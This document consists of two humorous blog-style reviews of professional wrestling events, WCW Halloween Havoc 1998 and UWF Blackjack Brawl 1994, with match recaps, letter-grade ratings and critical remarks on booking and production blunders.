Halloween Havoc 1998 (2024 Edition): Oh WCW, You Magnificently Blithering Idiots

Halloween Havoc 1998
Date: October 25, 1998
Location: MGM Grand Garden Arena, Las Vegas, Nevada
Attendance: 10,663
Commentators: Tony Schiavone, Mike Tenay, Bobby Heenan

So this popped up on the WWE Vault channel and I might as well look at it again. This show is more infamous than famous, with an all time terrible match, a pretty great main event, and one massive headache for WCW as the show went off the air late, resulting in a bunch of people not even seeing the ending. Let’s get to it.

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The opening video is rather serious and looks at a bunch of the bigger matches. Of all the things WCW spent money on, this wasn’t one of them.

Dang that pumpkin set is awesome.

Commentary talks about the show, with Heenan throwing on a mask to annoy Schiavone as only he can.

The Nitro Girls are here for the first time and are promised to be back. I get the appeal of having cheerleaders out there, but are they doing anything more than filling time?

Here is Rick Steiner to talk about how he’s looking at Scott Steiner as just another opponent. Cue Buff Bagwell to say everyone is sick of Scott so he’ll have Rick’s back. And yes, Rick falls for this, showing that the University of Michigan isn’t much in the academic department. Also, this could have been done on any given Nitro or Thunder rather than being on the show.

TV Title: Raven vs. Chris Jericho

Jericho is defending in what appears to be a bonus match. Before the match, Raven sits in the corner and says his recent losing streak is NOT his fault. He doesn’t feel like wrestling tonight and he wasn’t told in advance so he’s not going to do it. Jericho says not so fast because he is buyrates, people in the seats and rock and roll. Calling Raven a loser is enough to draw him back in for the bell, with Jericho stomping away and swinging Raven’s jacket.

Back up and Raven sends him outside for a dive, meaning it’s time for a whip into the steps. A dropkick has Jericho in more trouble but Raven is back with a quick hot shot to take over. They go outside again with Jericho’s dive only hitting the barricade. Back in and Jericho suplexes his way out of a sleeper before taking off a turnbuckle pad. Naturally Jericho goes head first into it and a clothesline gives Raven two.

The Liontamer goes on but Raven makes the rope (rather than tapping out in a hurry as he has been doing lately) and hits a quick Even Flow for two. Jericho low blows him into a bridging German suplex but cue Kanyon for and attempted distraction. Instead Jericho reverses the Even Flow into another Liontamer for the tap at 7:42.

Rating: B. It’s nice to see Raven getting to have a good match as he could certainly go in the ring when he had the chance. It helped that he was in there with Jericho, who was really starting to come into his own around this time. You could see the star power and it made him someone you wanted to see, which is quite the valuable thing to have.

Jericho’s over the top celebration is great.

Here are Hollywood Hogan and Eric Bischoff for a chat. Hogan says he’ll keep it short and then goes into a long rant about laying out his nephew Horace, because he wanted to prove you needed to be in the NWO. As for tonight, he’ll beat up the Warrior, for life. There was absolutely no need or this to be on the show.

Meng vs. Wrath

Hoss fight time and they go straight to the floor to start with Meng being sent into the barricade. They get inside, where Meng rams his own head into the buckle over and over. Wrath hits a middle rope clothesline but the Meltdown (pumphandle powerslam) is escaped, allowing Meng to hit a kick to the face. Meng strikes away in the corner and hits a running clothesline but the Tongan Death Grip is countered into a Rock Bottom for two. The Meltdown finishes for Wrath at 4:23.

Rating: C+. Not much time for this one but they hit each other rather hard for few minutes that they had. It made Wrath look good too, which was a bit of a mini project at the time. They certainly needed to build someone up for Kevin Nash to beat later, because beating someone on a winning streak set him up to beat someone else on a winning streak. I mean, it’s not like WCW could have used someone like Wrath, who was getting over around this point with wins like this one.

Billy Kidman is down to face either challenger to his Cruiserweight Title.

Disco Inferno vs. Juventud Guerrera

For a Cruiserweight Title shot later tonight. Disco takes him into the corner to start and stomps away, setting up a side slam for two. Juventud snaps off a headscissors and, after messing something up, sends Disco crashing out to the floor. An anklescissors takes Disco down again but he’s right back with a running clothesline. The not very tight chinlock goes on before Juventud fights out and sends him to the floor for the big dive.

Back in and the Juvy Driver is countered into a neckbreaker for a very delayed near fall. The Macarena (yes it is 1998) takes too long and Juventud rolls him up for two, only for Disco to fall down into low blow. Disco goes up and gets crotched down, setting up a super hurricanrana. Juventud’s top rope flip dive connects but Disco is back with a quick piledriver for the pin at 9:40. Ignore Juventud’s shoulder being on Disco’s leg rather than the mat.

Rating: C. This is another good example of a match that could have taken place on Thunder instead of here as it was hardly anything pay per view worthy. Disco did his basic stuff until the piledriver while Juventud was flying around as well as he could have, albeit to limited results. And we even get more Disco later!

More Nitro Girls.

Here is Scott Steiner for a chat. He’s been with his freaks so coming to Vegas is a breather. Scott heard Rick Steiner and Buff Bagwell getting together, so tonight he and the Giant will make it a Tag Team Title match (ignore that Scott HALL and the Giant are the champions right now, hence neither of them having a belt at the moment, even if Giant should have one). Giant comes out to agree so here is JJ Dillon to say that if the champs lose the titles, Scott will face Rick one on one immediately after.

So that’s another bonus match being added. And we’re having a tag match instead of a singles match because the tag team knows they would win a tag match but if they don’t, then it’s the planned singles match, even if the non-champions have already lost the titles. Yes this is 1998 WCW and somehow, it would get far, far worse.

Fit Finlay vs. Alex Wright

We hear about Finlay breaking Wright’s dad’s leg years ago as Finlay takes over on the wrist to start. An elbow to the face has Wright in more trouble but he knocks Finlay down and stomps away. Back up and Finlay hits him in the face for a knock out to the floor. Wright gets dropped face first onto the barricade and they head back inside, where a running crossbody sends both of them crashing back to the floor. Back in again and Finlay misses a charge into the corner, allowing Wright to grab a neckbreaker for the pin at 5:10.

Rating: C. This was mostly Finlay beating Wright up for about 90% of the match until Wright caught him with one move at the end. The match was something that felt like it belonged on Saturday Night more than a pay per view yet here it is, adding another match to this marathon show. Commentary didn’t even pretend like this was anything important either, making it feel even less important.

Note that we’re over an hour into this show and pretty much NOTHING has happened. We’ve had one good match, which wasn’t advertised, a match to set up a title match later, and two pretty much nothing matches. Yeah there’s other stuff coming, but feel free to GET ON WITH IT.

Ernest Miller is on WCW.com and brags about his greatness.

Saturn vs. Lodi

This isn’t what I meant by “GET ON WITH IT”. Saturn works on the arm to start so Lodi bails outside and grabs his signs (they’re his thing), only for Saturn to sweep his leg out. A suplex drops Lodi again and a whip into the corner makes it worse. Saturn hits some suplexes and the Death Valley Driver completes the squash at 3:49.

Rating: C-. Saturn got to massacre Lodi, though I’m not sure why this match actually needed to take place on the pay per view. Saturn smashing the Flock’s mascot isn’t a pay per view match but rather something that should be in the second hour of Thunder. That’s the theme of this whole show so far and that isn’t good to see, even if I’ve always liked Saturn.

We look at Buff Bagwell rejecting the NWO. Totally. For real.

Nitro Girls.

Cruiserweight Title: Disco Inferno vs. Billy Kidman

Kidman is defending and grabs a headlock to start with limited avail. An exchange of wristlocks doesn’t go very far either so Kidman grabs a slingshot armdrag. Disco drop toeholds him throat first into the ropes but Kidman sens him outside for a crash. Back in and Kidman misses a top rope splash though and we hit the chinlock.

Disco lets go and dances, followed by a belly to back suplex for two. The dancing middle rope elbow misses but Disco is right back with the piledriver for two more. A gordbuster gets another near fall so Kidman calmly faceplants him. The shooting star press retains the title at 10:50.

Rating: C. Again, the problem is Disco doesn’t do anything beyond simple stuff and that didn’t leave Kidman in any real danger. Other than maybe the piledriver, this was just waiting around for Kidman to win. It doesn’t help that this was the second Disco match of the night, again making things feel rather extended for no apparent reason.

Tag Team Titles: Rick Steiner/Buff Bagwell vs. Scott Steiner/Buff Bagwell

Rick and Buff are challenging and if they win the titles, Rick gets to face Scott “for fifteen minutes”. Scott distracts Rick to start and Giant slugs away to take over. An atomic drop puts Rick in more trouble and it’s off to Scott for some shots from behind. Rick fights up with right hands in the corner and an elbow connects. Buff wants the tag though and OF COURSE he turns on Rick with a low blow, because that’s something WCW loves to do.

Commentary tries to sound shocked because that’s what they have to do as Buff runs off. Scott chokes and knees away on the ropes before Giant comes in to pull Rick up at two. It’s back to Scott so Rick fights up, only to get cut off with a low blow. For some reason Giant goes up and accidentally missile dropkicks Scott, leaving him hung up in the ropes for a funny visual. Rick gets up, Steiner Bulldogs Giant, and wins the Tag Team Titles at 8:23.

Rating: D. Other than the Giant hitting that dropkick, this was the point where the good in-ring side mostly falls off, as there is only so much you can get out of another SWERVE from Bagwell and the slow hammering offense from the Steiners. And of course Rick and Buff are the new champions, which would somehow lead to Rick teaming with Buff’s mother Judy Bagwell, say it with me, because WCW.

Rick Steiner vs. Scott Steiner

Scott tries to leave with the Giant but Rick goes after him for a ram into the steps. They get back in and Scott charges into a boot in the corner before being sent outside again. Another low blow (four on the night between all of the brawling) drops Rick again and Scott hits a running crotch attack against the ropes.

Rick grabs a belly to belly…and a guy in a Bill Clinton mask (and a suit) jumps the barricade, beats up security, and is handed a slap jack by an interfering Stevie Ray to knock Rick and the referee cold for the DQ at 3:32. And of course it’s Bagwell. Hold on though as Scott covers Rick and Buff makes the referee count, with Rick kicking out. The Frankensteiner gets two but Rick fights back and hits the Steiner Bulldog for the pin at 5:02.

Rating: D-. So Bagwell wore jeans for the tag match, ran to the back, put on a suit and mask so he could interfere in the ensuing singles match before unveiling himself. This would be after Buff and Rick won the Tag Team Titles from a team who weren’t he actual champions to set up a match which was already scheduled but was technically canceled before being put back in, despite not being “for fifteen minutes” as advertised. I have no idea how any of this was supposed to work, but it certainly didn’t.

We recap Scott Hall vs. Kevin Nash. They were best friends, but their loyalty to Hollywood Hogan and the NWO (and money) have split them up so they’re finally having a match.

Scott Hall vs. Kevin Nash

Hall throws his drink into Nash’s face and hammers away to start. They go out to the floor where Hall gets in a microphone shot and chokes with a camera cord. We pause for the referees to check on Nash’s eyes so Hall mocks him before dropping Nash with more right hands. Hall mocks being drunk as the fans chant for the Wolfpac, which is cut off by Hall’s slam.

Some right hands in the corner have Nash in trouble but he says bring it on, setting up the big side slam. Hall fights up with more right hands but has to bail from the threat of a Jackknife. Back in and things reset a bit, with Nash shoving him down without much trouble. Hall grabs an armbar but Nash shrugs it off and stomps him down.

Nash’s running crotch attack against the ropes keeps Hall in trouble and some knees in the corner (Nash: “How about a double? Would you like a double?”) makes it worse. The straps come down and Nash hits the Jackknife (or Jackhammer according to Schiavone), followed by a second. The crotch chop is enough to let Hall walk out for the countout at 14:21.

Rating: C. This was a storyline match instead of a more traditional version and in this case, that’s the right idea. Hall got in his usual stuff here but Nash gets the big dominant performance, with the actual result not mattering. At least it felt like this mattered in the slightest though and even made sense, which is a chance of pace from most o the rest of the show.

US Title: Sting vs. Bret Hart

Hart is defending and bails to the floor to start as commentary talks about the personal issues that are more important than the title. They don’t bother saying WHAT THOSE ISSUES ARE but that’s WCW for you. Hart gets back inside, the bell rings, and Hart bails to the floor again. Sting follows him outside and throws Hart back inside to hammer away in the corner. A head first ramp into the mat gives Sting two but Hart goes after the eyes to take over.

Hart drops a leg for two and we hit the chinlock, which is broken up even faster than usual. Sting’s comeback is cut off with a bulldog out of the corner but the middle rope elbow is countered into a failed Scorpion Deathlock attempt. Back up and Hart tries a leapfrog but grabs his knee, with even Heenan saying the fans are tired of being lied to all night. Hart gets in a cheap shot and drops the middle rope elbow for two as things slow back own. A drop onto the barricade has Sting in more trouble and Hart decks the referee.

With the referee down, Sting starts the comeback, with both of them jumping over the referee in a funny bit. Hart gets crotched on top and a top rope superplex somewhat lands on the referee to leave everyone down for awhile. The Stinger Splash hits the post so Hart hits him with the baseball bat over and over. A middle rope bat shot lets Hart finish what used to be Sting with the Sharpshooter to retain at 15:06.

Rating: C+. This wasn’t great but I’ll take a match between two stars with a definitive ending. Hart basically destroyed Sting here and the ending was a way to write Sting off for a bit. It’s good to see him get a win after the incredibly messy start to his WCW run and it worked well enough here, even if Hart was clearly not anywhere near what he was back in the WWF.

Sting does a stretcher job as commentary wonders what is wrong with him.

Hollywood Hogan vs. Warrior

Warrior beat him eight and a half years ago, then showed up to say that he can do it again. Hogan panicked and here we are for a showdown, which has the potential to be a disaster. Naturally Hogan stalls on the floor before the bell before a big right hand knocks him into the corner to start. Warrior cranks on the arm and Hogan is already bailing out to the floor again.

We get the tease of the test of strength but Hogan goes with a cheap shot to take over. Now they do the test and Warrior goes down as the attempt to recreate an iconic moment falls flatter than expected. Back up and they do the criss cross until Warrior shrugs off a slam and clotheslines him to the floor. They slowly brawl around ringside before Hogan gets back inside and decks the referee.

Cue the Giant, who hits Hogan by mistake (as he falls apart just before leaving the promotion), allowing Warrior to clothesline him out to the floor. There’s no referee to count, so Hogan grabs a belly to back suplex (see, because that happened in 1990 too) for a delayed two. Hogan whips him with the weightlifting belt bu misses some elbows as Warrior rolls away. This includes rolling towards Hogan, because left and right is too complicated here.

Warrior misses the splash but comes back with Hogan’s weightlifting belt to whip away. The referee breaks it up so hogan grabs some flash paper, which sets off a fireball…which doesn’t go anywhere near Warrior’s face. Warrior hammers away, including some ax handles to the head. A low blow cuts Warrior off and Hogan drops leg but Warrior fights up. Cue Horace Hogan to chair Warrior in the back so Hogan can grab the trunks for the win at 14:33.

Rating: F. Normally I would say something like “this was sad” but in this case, it was just pathetic, almost all of which has to be put on Hogan. As there is pretty much no way that this was Warrior’s plan for the match, instead we had far worse versions of the spots from their legendary match with both of them older and Hogan not being the kind of character who fits in this match at all. This really was one of the worst matches I’ve ever seen and it was all about making Hogan feel better after putting Warrior over almost nine years earlier. Lucky us.

Post match Hogan loads up lighter fluid but security breaks it up, not wanting to see any more of this either.

The WWE Vault version cuts out the entrances for the next match and we go straight to the ring.

So this is where the show gets infamous. As you’ve probably noticed, I’ve mentioned the timing issues that the show has had throughout the whole night. That is because the show was pretty much entirely out of time here, with the pay per view window of 11pm (or whatever it was) having about three minutes left as the World Title match was still left to go. As a result, a bunch of people lost the feed for the show and didn’t get to see the main event, forcing WCW to show it for free on Nitro.

It’s one thing to have a show go a little bit long, but this was asking for almost fifteen extra minutes and all because of a bunch of bonus matches, completely unnecessary promos and stuff like the Nitro Girls. It came off like WCW didn’t care what they did and just thought everyone would go along with them and that isn’t how things worked. While this wasn’t some death blow, it was a really big own goal and that’s not something the company could afford around this time. Things would get worse in a hurry, but this one is infamous for reasons of “WCW screwed up big.”

WCW World Title: Goldberg vs. Diamond Dallas Page

Goldberg is defending after Page earned the title shot by winning WarGames. Page charges at him a few times to start but gets shoved into the corner over and over by the raw power. They lock up and crash out to the floor as there is some rather strong electricity going here. Back in and Page tries a legsweep so Goldberg does a standing moonsault to avoid, only to get swept down instead for a quick staredown.

An armbar sends Page to the ropes but the threat of a Diamond Cutter gets him shoved outside again. Back in and Goldberg shoulders him right back outside but Page grabs a neckbreaker for a needed breather. Page’s front facelock is countered into Goldberg’s neckbreaker for a change and a side slam gets two. Goldberg kicks him into the corner but the spear hits the post, with the fans getting back into it as Page has an opening.

The top rope clothesline gives Page two and a spinning DDT connects but Goldberg pops back up with a heck of a spear. The shoulder is too damaged to hit the Jackhammer though and Page grabs the Diamond Cutter, which has the fans going rather nuts. The rather delayed cover gets two so Page tries a suplex, which is reversed into a not great Jackhammer (which is kind of the point) to retain the title at 10:29.

Rating: B. This was the first time Goldberg had what would be considered a full match, with Page not being able to hang with him throughout, but having the one big move that could actually threaten Goldberg. The pop from the Diamond Cutter was great and it’s a very good match and Page clearly walked through it, though it was more just a really solid showing rather than a classic. Still though, Goldberg’s best WCW match by a mile and Page’s road to the world title continues.

Goldberg shows respect to end the show in a hurry.

Overall Rating: D+. The interesting thing here is that there are some good matches on here (main event, opener, Sting vs. Hart, a few other ok ones) but e pluribus gads the bad parts are horrible. Hogan vs. Warrior is an all time bad example of what happens when one person gets everything they want, the Tag Team Title/Steiners stuff is a terrible mess and pretty much the entire first hour is a waste of time and a ridiculous waste of the fans’ money. Throw in the whole total disaster with the pay per view slot and this really is an elite level disaster.

 

 

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UWF Blackjack Brawl: This Shouldn’t Happen In America

Blackjack Brawl
Date: September 23, 1994
Location: MGM Grand Garden Arena, Las Vegas, Nevada
Attendance: 900
Commentators: John Tolos, Carlo Gianelli

So a few months ago I looked at the UWF’s Beach Brawl, which was a special event from one of the more infamously lame promotions: Herb Abrams’ Universal Wrestling Federation. Now it’s time to look at the followup, which is over three years later and not on pay per view. It’s an eleven match card and nine are title matches, with five of those being to crown inaugural champions. This is going to be a really, really long night. Let’s get to it.

Opening sequence, with the rather over the top introduction from Abrams and some clips from a press conference.

Abrams is in the ring to shout an introduction, with commentary talking over him. He brings Blackjack Mulligan to the ring to hype up the show and promises a lot of big stuff tonight.

Commentary welcomes us to the show.

We have a celebrity guest ring announcer with Steve Rossi (apparently he was on the Howard Stern Show at least once). After some audio issues, he introduces the Nevada Athletic Commission and brings out Dan Spivey. Rossi: “He’ll show you some wrestling tonight.”

Americas Championship: Dan Spivey vs. Johnny Ace

For the inaugural title (which is not mentioned until a few minutes into the match) and Ace has Missy Hyatt with him. Rossi has to beg the fans to cheer during the introductions and I think you know how this night is going to go. It doesn’t help that the arena (holds about 17,000) is embarrassingly empty. Commentary: “Who cares about these wrestlers when you have Missy Hyatt?”

Ace rolls him up for two and Spivey bails to the apron. Back n and Spivey hammers away, only for Ace to come back with a middle rope crossbody. A dropkick puts Spivey on the floor where he kicks a few things around. Back in and Ace stomps away (Tolos: “That would kill a normal man!”) before grabbing a chinlock. Spivey suplexes his way to freedom as I try to figure out who I’m supposed to cheer for here. A backbreaker gives Spivey two and a Russian legsweep gets the same.

Ace is back up with a top rope clothesline for two but Spivey grabs a DDT for three. Well I mean the referee slapped the mat three times but calls it two anyway, as I guess counting doesn’t work around here either. We look at Missy Hyatt for a second and come back with Spivey hitting what looked like a Boss Man Slam. The abdominal stretch goes on before Spivey slams him back down for two off a legdrop. Spivey grabs it again and Hyatt turns on Ace by throwing in the towel to give Spivey the win and the title at 7:18.

Rating: D. Just think for a second: of the eleven match card that they have planned, THIS is what they felt was the best way to get things going. I’ve said this already but it bears repeating: we are in for a really, really long night. Vince Russo unnecessary screwy finish aside, the match was rather lame as they were just doing moves to each other with no story, build, flow or anything. But at least the manager turned on Ace during their first time together so….development?

Post match Spivey grabs Abrams until Ace chases him off. Abrams yells at Spivey (Abrams: “You’re a double cheating cross!”), who leaves with Hyatt.

We go to a break, with commentary being heard talking to production, just in case you thought this could be competent for more than three seconds.

Post break, commentary cuts out, then Ginaelli slips up by saying Ace won the match.

We talk about the Junior Heavyweight title, featuring Mando “Gareo”. They’ll be right “black” after this break.

Junior Heavyweight Title: Mando Guerrero vs. Jack Armstrong

For the inaugural title and at least Rossi gets Guerrero’s (who comes out to an actual WEIRD AL song) name right. Jack (called Wildman in the graphic and Wildcat during his introductions) looks great and has been wrestling for….THIRTY ONE YEARS??? Granted this is his first match in about four years but when you debut in 1963 and are still wrestling in 1994, I’m a good bit impressed. Odds are that’s going to be the only impressive thing here but still not bad. Gianelli still can’t pronounce Guerrero as he sits on the corner while Armstrong poses.

They run the ropes to start and Mando dropkicks him out to the floor. Back in and Mando grabs an armdrag into an armbar but they’re right back to the floor to get the brawling going. Mando knocks him into the barricade and hits an Asai moonsault, sending Tolos into as close to shock as you’re getting around here. Back in and Mando gets two off a spinebuster as we’re told that this is the first of three Blackjack Brawls planned. Uh, yeah. Anyway Mando misses a moonsault and Jack drops two elbows for the pin and the title at 4:41.

Rating: D+. Well it was better than the previous one, but again it is very clear that they are not putting even the slightest bit of thought into all of these title matches. There was no mention of the title here and Mando dominated until the end when Armstrong picked up the fluke win. Armstrong had a good physique but this was the last match of his career.

Post match, Abrams gets in the ring to say he isn’t pleased with the winner, but at least Armstrong got busted open a bit.

Dr. Feelgood says he’ll win.

SportsChannel Television Title: Dr. Feelgood vs. Sunny Beach

For the vacant title and Missy Hyatt is here with Feelgood. There’s even a theme here as Feelgood has a doctor’s bag and Missy has a stethoscope. Beach takes him down by the arm to start and then armdrags him into an armbar to mix it up a bit. They switch it to a chinlock for a bit before Feelgood is back with some back rakes. Missy gets in a shoe shot to the head, sending Tolos into a speech about how gorgeous she is.

Beach comes back with some right hands and a sunset flip for two, only to get clotheslined down. A backbreaker gives Feelgood two and he plants Beach with a DDT (which commentary describes as “another great professional wrestling move”). Hold on though as Feelgood goes to his medical bag and pulls out a rag. He pours some liquid onto the rag, only to have Beach shove it into his face for the win at 5:27. The referee watched EVERY BIT OF THIS and doesn’t seem to mind. Can you really blame him?

Rating: F. Sweet goodness it’s actually getting worse. What are you supposed to do when the referee just lets the doctor use I’m guessing ether on the surfer? The match is a failure for the refereeing alone and I’m almost scared to see how bad this show gets as we keep going. Terrible match with an even worse ending.

Post match Feelgood takes Beach down with the rag as Missy screams a lot. Blackjack Mulligan comes in to yell, with Feelgood calling him various cowboy insults.

BUY MERCH! That has to be some kind of a collector’s item. Sid walks in and says something about Nolan Ryan signed baseballs.

Herb Abrams talks about Commissioner Bruno Sammartino….who isn’t here tonight! Abrams has Blackjack Mulligan talk about what else is coming tonight. Mulligan: “These other promotions won’t even touch these guys!” Steve Williams would destroy Hulk Hogan, Ric Flair and Bret Hart!

Southern States Title: Bob Orton Jr. vs. Finland Hellraiser Thor

Believe it or not, Orton actually is the champion coming in and Thor is better known as Ludvig Borga. Orton grabs a headlock to start but gets shoved away by raw power. More power sends Orton into the corner and this time Thor hammers away with shots to the ribs. There’s a side slam to plant Orton again and we hit the chinlock with a knee in the back. Commentary uses the time to discuss who really discovered America as Orton comes back with some shots to the face. Thor backdrops him over the top to counter a piledriver attempt and they fight on the floor for the double DQ at 5:29.

Rating: D. And somehow, that’s in the running for the best match of the night, just due to the people involved if nothing else. Thor is fresh off his time with the WWF and it isn’t a good sign when he is looking like a knockoff version of himself. Orton was pretty far past his prime already but his own talent is enough to carry him pretty far. Not far enough to save this show, but at least they picked things up a tiny bit over the previous match.

They brawl even more post match, showing more fire than anything else on the show. Thor bails and Orton’s eye is busted open, so the ring announcer asks the fans to cheer for him about five times. Orton goes on a rant about how he fights like an American, with all of the values that are falling apart every day.

Midget World Title: Karate Kid vs. Little Tokyo

For the inaugural title and this is FOR THE FIRST TIME EVER. The ring announcer is practically begging the fans to cheer for this as things are falling apart before the bell. Tokyo bails from the threat of Kid’s kicks and shoulders him down. A hiptoss drops Tokyo, who glares out of the corner. The armbar doesn’t last long on Kid as the referee yells at Tokyo again. The crisscross is on, with Kid stopping so Tokyo runs around on his own. After the annoyance is over, Tokyo’s armbar doesn’t work all over again. They fight over a test of strength on the mat, allowing Tokyo to yell at the referee some more.

It’s time to dance a bit until Kid gets a quick one. Hold on though as Tokyo yells at the referee AGAIN, followed by a poke to Kid’s eyes. Kid is fine enough to slap on a full nelson, with Tokyo climbing the ropes for the break, only to be dropped straight down for a slight chuckle. Tokyo avoids a dropkick though and Kid….runs into him, allowing Tokyo to get the pin and the title at 7:36.

Rating: D. Yes they gave this the most time of anything so far tonight and while it could have been worse, this was almost the cherry on the sundae of horrible ideas. This felt like it belonged in 1984 or so, and given how many things that could apply to on this show, it seems that things are kind of going badly around here. In other words, this is reaching torture levels all over again.

Post match Abrams and Tokyo have a language barrier. How many times do we need to see him and his yellow coat tonight???

Here’s the same merchandise ad from before the previous match.

Sid says….something that audio doesn’t pick up for the most part but it sounds like he’s coming for Steve Williams and the World Title.

Samson vs. Irish Assassin

They’re both in good shape and Samson is replacing Hercules. This is billed as a REVENGE match, though they don’t actually explain what the revenge is for. They have the lamest lockup I can remember in a long time and Samson’s running shoulder bounces off of the Assassin. A running clothesline in the corner hits Samson as commentary recaps Little Tokyo winning the title. Samson avoids an elbow as Tolos talks about making Gianelli a better commentator. A slam and a suplex give Samson the pin at 4:45.

Rating: F. Sweet goodness man. I don’t remember the last time I saw a show this….lifeless. When you consider that I can’t find anything about Samson and Assassin was a nothing name, I’m not sure why in the world I’m supposed to care about revenge, when THEY DIDN’T SAY WHY THESE TWO ARE FIGHTING. The company isn’t running anything else at the moment, so how many places could they set up something like this? I’m being more and more dumbfounded by this show every match and it wasn’t a high bar to start things off.

CALL THE HOTLINE!

Steve Ray thinks Tyler Mane is tall but he doesn’t have any heart.

MGM Grand Title: Steve Ray vs. Tyler Mane

For the inaugural title. Mane dabbled in WCW for a bit but is far more famous as Sabretooth in the first series of X-Men movies. Granted the pelt with a lion’s head over his stomach is rather noteworthy in its own right. Ray is the Wild Thing and seems to be something like a rock star/Lionheart Chris Jericho type. After Ray makes sure his jacket is taken care of, we’re ready to go with commentary comparing Mane to Big John Studd. An armdrag and clothesline put Mane on the floor but he’s back in to slam his way out of a crossbody attempt.

Ray is fine enough to start in on the leg and the cranking ensues. We pause for a second so the referee can check on the knee, allowing Mane to get in a cheap shot and take over. A chokeslam (not named because….it’s such a complicated concept I guess) plants Ray but he’s back back with a grab of the leg. Mane low bridges him to the floor so Ray tries a sunset flip, only to have Mane sit down on it while grabbing the rope (again, right in front of the referee) for the pin and the title at 6:26.

Rating: D. Again, it says a lot when this is the kind of match that is near the high point of the show. It was a big man vs. small man match with Ray trying to have some energy but not being able to deal with the power. Now that being said, the horrible refereeing at the end hurt it a lot, and it’s not like this show has any benefit of the doubt. Another bad match on the show, which is completely beyond saving in case that wasn’t clear yet.

Post match Abrams presents Mane with the title. Mane, who is taller than Mulligan, says the fat lady just sung on Ray. True actually, as this was his last match for both guys.

Women’s Title: Candy Divine vs. Tina Moretti

For the vacant title and Moretti is better known as Ivory. The pre-match gaffe is on the announcer, as he introduces Divine (yes DIVINE, which is not the hardest word to read, pronounce, spell or understand) as Candy Devian. That’s another level of bad and as a result it fits in perfectly here. Even commentary blasts him for that screwup. Divine popped up in various promotions and was one of the bigger names of her time for outside the WWF. Moretti is billed from Italy, which is rather odd after listening to Ivory for years.

Commentary is all about how the women look as Divine is dropkicked to the floor to start but they switch places in a hurry. Back in and Divine works on an armbar but gets rolled up for a fast two. Divine fights up and chokes in the corner, which Tolos calls a good wrestling move. Moretti gets slammed out of the corner and Divine gets the pin and the title at 3:11.

Rating: D-. I’m not sure what happened there but it was an abrupt ending to an already bad match. Women’s wrestling was absolutely nothing in America at this point so you can’t get too annoyed. Also given how bad some of the things on this show have been, a three minute match is hard to get annoyed over. Take that for what you will.

Post match, the announcer says Devian for the fifth time.

Steve Williams is standing in front of a cutout of himself and says he respects Sid Vicious. He can’t get Hulk Hogan or Ric Flair on the phone but he’ll face Sid tonight. Really not the image you want to present but that’s the least of their problems.

Tag Team Titles: Killer Bees vs. The New Powers Of Pain

For the inaugural titles and that would be Warlord/Power Warrior, the latter being a guy who didn’t do much in his career. Announcer: “And we have a battle royal coming up.” No, we don’t, thank goodness. Blair (who apparently has a great gym) starts with Warrior, who shoves him away without much effort. An armbar has no effect on Warrior and Blair is starting to look a little unsure.

We get a quick recap of some of the things that have happened tonight, which makes me feel better about forgetting them. Brunzell comes in for a double hiptoss but Warlord comes in with a bearhug. That doesn’t last long so Warlord has to slam his way out of an armbar. Warrior comes back in and gets taken down by the leg in a hurry because he isn’t the worker that the Warlord is. Blair stays on the leg but Warrior kicks him into the ropes so Warlord can low bridge him to the floor.

The bearhug goes on back inside but Blair is out in a hurry, allowing the hot tag to Brunzell to take over on Warrior. A catapult into a top rope clothesline drops Warrior as the referee is knocked outside. Cue someone who looks like Warrior (his other brother in the Power Twins) for a full nelson on Blair. Warlord goes up….and we cut to Brunzell throwing the referee back in and we come back to Blair covering Warrior for the pin and the titles at 11:50.

Rating: D. They were having a better match than usual (for this show at least) until the ending, which we didn’t actually get to see. Let me repeat that: you couldn’t actually see the part of the match that actually mattered in any way. Throw in that one of the villains had an evil twin and they managed to lose anyway and I think you know all you need to know about this one.

Jimmy Snuka says there are no two pieces of matter that can occupy the same space at the same time. I’m not sure what that has to do with anything but he says he’s going to fly.

Merch plug, the threequel.

Jimmy Snuka vs. Cactus Jack

Lumberjack match, so the ring announcer says “our next match is for the lumberjack match.” Oh and Cactus Jack is “a mean guy”. Announcer: “You’re going to see a battle royal.” Can we get him to stop saying that or at least find out what it means? Pretty much everyone else on the show so far are the lumberjacks, who get a round of applause of their own and their own individual introductions. Jack shakes his hand and grabs a headlock as we hear about Jack losing his ear.

Snuka reverses into one of his own, which really, really impresses Tolos for some reason. A shoulder puts Jack down as the announcers are talking about bets on the match. Jack knees him in the ribs to send things outside for a bit but makes the mistake of headbutting Snuka. That’s enough to send Jack to the floor but he’s sent back inside as Herb Abrams comes to commentary to talk about how great this is.

The brawl goes over to the commentary table (Gianelli: “THIS SHOULDN’T HAPPEN IN AMERICA!”) but the fight back inside where Jack grabs a chinlock. Back up and Snuka tries a shoulder, only to bounce off of Jack and over the top. They fight into the crowd with Snuka hitting him in the head with a chair….and that’s a double DQ at 9:03. Yes in a lumberjack. Announcer: “I’ve never seen anything like this!” There’s a reason for that man.

Rating: F. Mick Foley is my favorite wrestler of all time and probably always will be. I know it means the world to him to be in the ring with his idol in Snuka, but they had a double DQ in a freaking lumberjack match after nine other matches on this show. In this case, you kind of can blame him because, as a huge Snuka fan, he refused to let Snuka lose to him here so this was the best they had. Points for the respect but….dang man.

Post match they keep brawling into the empty chairs, which is about as dumb of an idea as you can have in any situation.

Herb Abrams shouts that this is the main event, thank goodness.

UWF World Title: Sid Vicious vs. Steve Williams

Williams is defending. Announcer: “It’s time to get rocking and rolling. And I’m getting out of here.” They trade shoulders to start as we hear about Williams being the All Japan Triple Crown Champion. Sid kicks him in the face for a knockdown and it’s time to crank on Williams’ arms. Williams can’t quite reverse so he goes to the ropes for the break instead. Tolos does his best Jim Ross impression to list off all of Williams’ accomplishments as the announcers treat this like the greatest thing they have ever seen.

A chokeslam plants Williams and Sid whips him hard into the corner. Tolos: “If they went into the New York Stock Market, do you think their stock would go up overnight???” Gianelli: “I don’t know.” Sid gets two off a slam and we’re off to the chinlock. They even lay down a bit as this has already been a bit much for them.

Williams fights up and slugs away….as the mat starts coming up like there’s a bubble inside, because OF FREAKING COURSE IT DOES! Williams hits a splash in the corner for two but misses a middle rope shoulder. Sid goes up top (oh boy) but Williams backdrops him down and hits the Doctor Bomb, drawing in Dan Spivey for the DQ at 11:02.

Rating: D-. They were having a watchable power match until the ending but my goodness man. THE RING wanted out of this show and was giving up by the end. It could have been a lot worse but the ending didn’t help anything and teasing a rematch on this show was as dumb as it could have been. Not the worst match on the show, but a perfect way to end things.

Post match the beatdown is on with Williams being double powerbombed. Johnny Ace comes in for the save.

Post break, Abrams asks if Williams will defend the title against Sid in a cage. Williams says he’ll sign a contract if Abrams gets one together before he leaves.

Merch plug, featuring the now dastardly Sid.

